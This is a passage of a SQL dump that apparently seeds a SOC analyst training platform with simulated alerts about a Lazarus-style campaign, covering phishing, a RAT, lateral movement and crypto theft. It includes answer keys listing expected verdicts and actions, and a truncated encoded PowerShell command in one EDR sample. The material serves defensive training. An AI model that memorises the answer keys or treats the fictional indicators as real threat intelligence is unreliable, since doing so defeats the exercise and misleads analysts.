1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:32:00Z\\\",\\\"event_type\\\":\\\"authentication_failure\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"username\\\":\\\"jdoe\\\",\\\"failed_attempts\\\":5,\\\"method\\\":\\\"dictionary_attack\\\",\\\"associated_malware\\\":{\\\"name\\\":\\\"WannaCry\\\",\\\"hash\\\":\\\"f7a2edb1b4567e2d5f8e8497c9a3f378\\\",\\\"filename\\\":\\\"wannacry.exe\\\"},\\\"indicator_of_compromise\\\":[\\\"source_ip\\\",\\\"associated_malware\\\"]}\"},{\"timestamp\":\"2026-03-02T13:53:06.873Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:32:00Z\\\",\\\"event_type\\\":\\\"authentication_failure\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"username\\\":\\\"jdoe\\\",\\\"failed_attempts\\\":5,\\\"method\\\":\\\"dictionary_attack\\\",\\\"associated_malware\\\":{\\\"name\\\":\\\"WannaCry\\\",\\\"hash\\\":\\\"f7a2edb1b4567e2d5f8e8497c9a3f378\\\",\\\"filename\\\":\\\"wannacry.exe\\\"},\\\"indicator_of_compromise\\\":[\\\"source_ip\\\",\\\"associated_malware\\\"]}\"},{\"timestamp\":\"2026-03-02T13:52:06.873Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:32:00Z\\\",\\\"event_type\\\":\\\"authentication_failure\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"username\\\":\\\"jdoe\\\",\\\"failed_attempts\\\":5,\\\"method\\\":\\\"dictionary_attack\\\",\\\"associated_malware\\\":{\\\"name\\\":\\\"WannaCry\\\",\\\"hash\\\":\\\"f7a2edb1b4567e2d5f8e8497c9a3f378\\\",\\\"filename\\\":\\\"wannacry.exe\\\"},\\\"indicator_of_compromise\\\":[\\\"source_ip\\\",\\\"associated_malware\\\"]}\"},{\"timestamp\":\"2026-03-02T13:51:06.873Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:32:00Z\\\",\\\"event_type\\\":\\\"authentication_failure\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"username\\\":\\\"jdoe\\\",\\\"failed_attempts\\\":5,\\\"method\\\":\\\"dictionary_attack\\\",\\\"associated_malware\\\":{\\\"name\\\":\\\"WannaCry\\\",\\\"hash\\\":\\\"f7a2edb1b4567e2d5f8e8497c9a3f378\\\",\\\"filename\\\":\\\"wannacry.exe\\\"},\\\"indicator_of_compromise\\\":[\\\"source_ip\\\",\\\"associated_malware\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1364, 'Lateral Movement with Compromised Accounts', 'high', 'Active Directory Monitoring', 'An advanced lateral movement attempt was detected where compromised accounts were used to access blockchain developer networks. The attackers are leveraging stolen credentials to exfiltrate sensitive data and exploit vulnerabilities within the blockchain development environment.', 'Account Compromise', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T13:45:00Z\",\"event_id\":\"4624\",\"logon_type\":\"3\",\"user\":\"dev_jdoe\",\"source_ip\":\"45.76.154.92\",\"destination_ip\":\"192.168.1.15\",\"process_name\":\"cmd.exe\",\"file_name\":\"blockchain_project.exe\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"domain\":\"blockchain.local\",\"status\":\"Success\"}', '2026-03-01 23:02:30', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"dev_jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Compromised developer account used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.76.154.92\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known IP used by Lazarus Group for cyber operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with potentially unwanted applications.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"blockchain_project.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Unknown file accessed during the incident.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(1365, 'Exfiltration of Cryptocurrency Assets', 'critical', 'Cryptocurrency Transaction Monitoring', 'The final stage of the operation involves exfiltrating cryptocurrency assets from compromised wallets to accounts controlled by the Lazarus Group. The transaction monitoring system detected a suspicious transfer of 50 BTC from a previously compromised wallet to an address associated with known malicious activity.', 'Data Exfiltration', 'T1567 - Exfiltration Over Web Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:45:00Z\",\"transaction_id\":\"tx1234567890abcdef\",\"source_wallet\":\"1A2b3C4d5E6F7G8H9I0J\",\"destination_wallet\":\"3K4m5N6o7P8Q9R0S1T2U\",\"amount\":\"50 BTC\",\"transaction_fee\":\"0.0005 BTC\",\"external_ip\":\"203.0.113.45\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"compromised_user\",\"internal_ip\":\"192.168.1.25\",\"malicious_activity\":true}', '2026-03-01 23:02:30', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Lazarus Group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as associated with Lazarus Group operations.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"User account used in unauthorized cryptocurrency transactions.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.876Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:00Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_wallet\\\":\\\"1A2b3C4d5E6F7G8H9I0J\\\",\\\"destination_wallet\\\":\\\"3K4m5N6o7P8Q9R0S1T2U\\\",\\\"amount\\\":\\\"50 BTC\\\",\\\"transaction_fee\\\":\\\"0.0005 BTC\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"malicious_activity\\\":true}\"},{\"timestamp\":\"2026-03-02T13:54:06.876Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:00Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_wallet\\\":\\\"1A2b3C4d5E6F7G8H9I0J\\\",\\\"destination_wallet\\\":\\\"3K4m5N6o7P8Q9R0S1T2U\\\",\\\"amount\\\":\\\"50 BTC\\\",\\\"transaction_fee\\\":\\\"0.0005 BTC\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"malicious_activity\\\":true}\"},{\"timestamp\":\"2026-03-02T13:53:06.876Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:00Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_wallet\\\":\\\"1A2b3C4d5E6F7G8H9I0J\\\",\\\"destination_wallet\\\":\\\"3K4m5N6o7P8Q9R0S1T2U\\\",\\\"amount\\\":\\\"50 BTC\\\",\\\"transaction_fee\\\":\\\"0.0005 BTC\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"malicious_activity\\\":true}\"},{\"timestamp\":\"2026-03-02T13:52:06.876Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:00Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_wallet\\\":\\\"1A2b3C4d5E6F7G8H9I0J\\\",\\\"destination_wallet\\\":\\\"3K4m5N6o7P8Q9R0S1T2U\\\",\\\"amount\\\":\\\"50 BTC\\\",\\\"transaction_fee\\\":\\\"0.0005 BTC\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"malicious_activity\\\":true}\"},{\"timestamp\":\"2026-03-02T13:51:06.876Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:00Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_wallet\\\":\\\"1A2b3C4d5E6F7G8H9I0J\\\",\\\"destination_wallet\\\":\\\"3K4m5N6o7P8Q9R0S1T2U\\\",\\\"amount\\\":\\\"50 BTC\\\",\\\"transaction_fee\\\":\\\"0.0005 BTC\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"malicious_activity\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1366, 'Suspicious LinkedIn Connection Request', 'medium', 'LinkedIn activity logs', 'An aerospace engineer has received a connection request from a profile claiming to be a recruiter with a suspicious job offer. The profile is suspected to be fake and may be part of a social engineering attempt to gain initial access.', 'Social Engineering', 'T1566.002 - Spearphishing Link', 1, 'Closed', 232, '{\"event_time\":\"2023-10-15T14:23:52Z\",\"user_id\":\"aero.eng123\",\"user_email\":\"engineer@aerospaceco.com\",\"connection_request_id\":\"req_987654321\",\"requester_profile\":{\"name\":\"John Doe\",\"profile_url\":\"https://linkedin.com/in/johndoe-fake\",\"headline\":\"Senior Recruiter at TopTech Talent\",\"email\":\"john.doe@toptechtalent.com\",\"ip_address\":\"203.0.113.45\"},\"job_offer_details\":{\"position\":\"Project Manager\",\"location\":\"Remote\",\"salary\":\"150,000 USD\",\"offer_link\":\"http://maliciouslink.com/joboffer\"},\"internal_ip\":\"192.168.1.10\",\"notable_hash\":\"4d6f6e6579726174696f6e68617368\"}', '2026-03-01 23:03:23', '2026-03-14 16:41:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@toptechtalent.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"suspicious\",\"details\":\"Email domain does not match known recruitment agencies.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://maliciouslink.com/joboffer\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Service\",\"verdict\":\"malicious\",\"details\":\"URL linked to malware distribution.\"}}],\"recommended_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.877Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"user_id\\\":\\\"aero.eng123\\\",\\\"user_email\\\":\\\"engineer@aerospaceco.com\\\",\\\"connection_request_id\\\":\\\"req_987654321\\\",\\\"requester_profile\\\":{\\\"name\\\":\\\"John Doe\\\",\\\"profile_url\\\":\\\"https://linkedin.com/in/johndoe-fake\\\",\\\"headline\\\":\\\"Senior Recruiter at TopTech Talent\\\",\\\"email\\\":\\\"john.doe@toptechtalent.com\\\",\\\"ip_address\\\":\\\"203.0.113.45\\\"},\\\"job_offer_details\\\":{\\\"position\\\":\\\"Project Manager\\\",\\\"location\\\":\\\"Remote\\\",\\\"salary\\\":\\\"150,000 USD\\\",\\\"offer_link\\\":\\\"http://maliciouslink.com/joboffer\\\"},\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"notable_hash\\\":\\\"4d6f6e6579726174696f6e68617368\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.877Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"user_id\\\":\\\"aero.eng123\\\",\\\"user_email\\\":\\\"engineer@aerospaceco.com\\\",\\\"connection_request_id\\\":\\\"req_987654321\\\",\\\"requester_profile\\\":{\\\"name\\\":\\\"John Doe\\\",\\\"profile_url\\\":\\\"https://linkedin.com/in/johndoe-fake\\\",\\\"headline\\\":\\\"Senior Recruiter at TopTech Talent\\\",\\\"email\\\":\\\"john.doe@toptechtalent.com\\\",\\\"ip_address\\\":\\\"203.0.113.45\\\"},\\\"job_offer_details\\\":{\\\"position\\\":\\\"Project Manager\\\",\\\"location\\\":\\\"Remote\\\",\\\"salary\\\":\\\"150,000 USD\\\",\\\"offer_link\\\":\\\"http://maliciouslink.com/joboffer\\\"},\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"notable_hash\\\":\\\"4d6f6e6579726174696f6e68617368\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.877Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"user_id\\\":\\\"aero.eng123\\\",\\\"user_email\\\":\\\"engineer@aerospaceco.com\\\",\\\"connection_request_id\\\":\\\"req_987654321\\\",\\\"requester_profile\\\":{\\\"name\\\":\\\"John Doe\\\",\\\"profile_url\\\":\\\"https://linkedin.com/in/johndoe-fake\\\",\\\"headline\\\":\\\"Senior Recruiter at TopTech Talent\\\",\\\"email\\\":\\\"john.doe@toptechtalent.com\\\",\\\"ip_address\\\":\\\"203.0.113.45\\\"},\\\"job_offer_details\\\":{\\\"position\\\":\\\"Project Manager\\\",\\\"location\\\":\\\"Remote\\\",\\\"salary\\\":\\\"150,000 USD\\\",\\\"offer_link\\\":\\\"http://maliciouslink.com/joboffer\\\"},\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"notable_hash\\\":\\\"4d6f6e6579726174696f6e68617368\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.877Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"user_id\\\":\\\"aero.eng123\\\",\\\"user_email\\\":\\\"engineer@aerospaceco.com\\\",\\\"connection_request_id\\\":\\\"req_987654321\\\",\\\"requester_profile\\\":{\\\"name\\\":\\\"John Doe\\\",\\\"profile_url\\\":\\\"https://linkedin.com/in/johndoe-fake\\\",\\\"headline\\\":\\\"Senior Recruiter at TopTech Talent\\\",\\\"email\\\":\\\"john.doe@toptechtalent.com\\\",\\\"ip_address\\\":\\\"203.0.113.45\\\"},\\\"job_offer_details\\\":{\\\"position\\\":\\\"Project Manager\\\",\\\"location\\\":\\\"Remote\\\",\\\"salary\\\":\\\"150,000 USD\\\",\\\"offer_link\\\":\\\"http://maliciouslink.com/joboffer\\\"},\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"notable_hash\\\":\\\"4d6f6e6579726174696f6e68617368\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.877Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"user_id\\\":\\\"aero.eng123\\\",\\\"user_email\\\":\\\"engineer@aerospaceco.com\\\",\\\"connection_request_id\\\":\\\"req_987654321\\\",\\\"requester_profile\\\":{\\\"name\\\":\\\"John Doe\\\",\\\"profile_url\\\":\\\"https://linkedin.com/in/johndoe-fake\\\",\\\"headline\\\":\\\"Senior Recruiter at TopTech Talent\\\",\\\"email\\\":\\\"john.doe@toptechtalent.com\\\",\\\"ip_address\\\":\\\"203.0.113.45\\\"},\\\"job_offer_details\\\":{\\\"position\\\":\\\"Project Manager\\\",\\\"location\\\":\\\"Remote\\\",\\\"salary\\\":\\\"150,000 USD\\\",\\\"offer_link\\\":\\\"http://maliciouslink.com/joboffer\\\"},\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"notable_hash\\\":\\\"4d6f6e6579726174696f6e68617368\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1367, 'Malicious Attachment in Follow-up Email', 'high', 'Corporate email gateway', 'An email with a job offer attachment was received, containing a trojan designed to execute upon opening. The attachment was identified as a known malicious artifact linked to Lazarus Group activities.', 'Phishing', 'T1566.001 - Spearphishing Attachment', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"email_sender\":\"hr@fakesite.com\",\"email_recipient\":\"jdoe@corporate.com\",\"subject\":\"Job Offer\",\"attachment\":{\"filename\":\"Job_Offer_Details.docx\",\"hash\":\"7f5a8d7e5b9c4a6d9c3a7a8b5c6d4e5f\",\"file_type\":\"docx\"},\"malware_signature\":\"Trojan:Win32/FakeOffer\",\"indicators\":{\"attachment_hash\":\"7f5a8d7e5b9c4a6d9c3a7a8b5c6d4e5f\",\"malicious_ip\":\"203.0.113.45\"}}', '2026-03-01 23:03:23', '2026-03-14 16:42:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns by Lazarus Group.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"7f5a8d7e5b9c4a6d9c3a7a8b5c6d4e5f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known trojan used in targeted phishing attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"hr@fakesite.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Database\",\"verdict\":\"suspicious\",\"details\":\"Email domain recently registered and used in phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malicious Attachment in Follow-up Email\",\"date\":\"2026-03-02T13:55:06.879Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1368, 'Establishment of Remote Access Trojan (RAT)', 'critical', 'Endpoint protection logs', 'A Remote Access Trojan (RAT) named \'Backdoor.LazarusRat\' was detected on the victim\'s machine, allowing persistent access for the attacker. The RAT installation was initiated from a suspicious IP address, and files associated with the Lazarus Group were found.', 'Malware', 'T1219 - Remote Access Tools', 1, 'Closed', 232, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_id\":\"RAT-Installation\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"process_name\":\"svchost.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_name\":\"lazarus_rat.dll\",\"username\":\"victim_user\",\"action\":\"File created\",\"threat_name\":\"Backdoor.LazarusRat\",\"severity\":\"Critical\"}', '2026-03-01 23:03:23', '2026-03-14 16:42:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Victim\'s machine internal IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Lazarus RAT.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"lazarus_rat.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"Malicious DLL used for RAT installation.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"victim_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account on the compromised machine.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1369, 'Lateral Movement to Secure Network Segments', 'high', 'Network traffic analysis', 'Using compromised credentials, the attacker moves laterally to access secure segments of the network. This activity is consistent with the Lazarus Group\'s known tactics.', 'Network Intrusion', 'T1021 - Remote Services', 1, 'Closed', 232, '{\"timestamp\":\"2023-10-10T14:35:17Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.5.23\",\"protocol\":\"RDP\",\"action\":\"allowed\",\"username\":\"jdoe\",\"auth_method\":\"NTLM\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"confidential_project.docx\",\"event_description\":\"Successful RDP connection using compromised credentials\",\"network_segment\":\"Sensitive_Segment_A\",\"severity\":\"High\"}', '2026-03-01 23:03:23', '2026-03-14 16:43:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network segment for sensitive projects\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, 